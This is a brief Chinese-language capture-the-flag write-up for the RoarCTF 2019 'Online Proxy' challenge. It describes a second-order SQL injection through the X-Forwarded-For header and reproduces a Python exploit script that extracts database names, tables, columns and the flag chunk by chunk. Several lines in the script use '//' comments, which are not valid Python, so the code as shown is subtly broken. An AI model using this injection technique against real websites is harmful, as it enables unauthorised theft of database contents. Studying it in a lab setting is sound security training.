[RoarCTF 2019]Online Proxy

0x00 知识点

XFF头注入

0x01 解题

打开题目查看源代码，看到客户端IP,猜测是把客户端的IP地址记录到数据库当中。
经过测试X-Forwarded-For修改后回显不同，找到注入点
贴脚本：
https://github.com/berTrAM888/RoarCTF-Writeup-some-Source-Code/blob/master/Web/online_proxy/writeup/Exp.py

#!/usr/bin/env python3

import requests

target = "http://localhost:8302/"

def execute_sql(sql):
    print("[*]请求语句：" + sql)
    return_result = ""

    payload = "0'|length((" + sql + "))|'0"
    session = requests.session()
    r = session.get(target, headers={'X-Forwarded-For': payload})
    r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})
    r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})
    start_pos = r.text.find("Last Ip: ")
    end_pos = r.text.find(" -->", start_pos)
    length = int(r.text[start_pos + 9: end_pos])
    print("[+]长度：" + str(length))

    for i in range(1, length + 1, 5):
        payload = "0'|conv(hex(substr((" + sql + ")," + str(i) + ",5)),16,10)|'0"

        r = session.get(target, headers={'X-Forwarded-For': payload}) # 将语句注入
        r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})    # 查询上次IP时触发二次注入
        r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})    # 再次查询得到结果
        start_pos = r.text.find("Last Ip: ")
        end_pos = r.text.find(" -->", start_pos)
        result = int(r.text[start_pos + 9: end_pos])
        return_result += bytes.fromhex(hex(result)[2:]).decode('utf-8')

        print("[+]位置 " + str(i) + " 请求五位成功:" + bytes.fromhex(hex(result)[2:]).decode('utf-8'))

    return return_result


//获取数据库
print("[+]获取成功：" + execute_sql("SELECT group_concat(SCHEMA_NAME) FROM information_schema.SCHEMATA"))

// 获取数据库表
print("[+]获取成功：" + execute_sql("SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'F4l9_D4t4B45e'"))

//获取数据库表
print("[+]获取成功：" + execute_sql("SELECT group_concat(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'F4l9_D4t4B45e' AND TABLE_NAME = 'F4l9_t4b1e' "))

// 获取表中内容
print("[+]获取成功：" + execute_sql("SELECT group_concat(F4l9_C01uMn) FROM F4l9_D4t4B45e.F4l9_t4b1e"))

参考链接
https://github.com/berTrAM888/RoarCTF-Writeup-some-Source-Code/blob/master/Web/online_proxy/writeup/Exp.py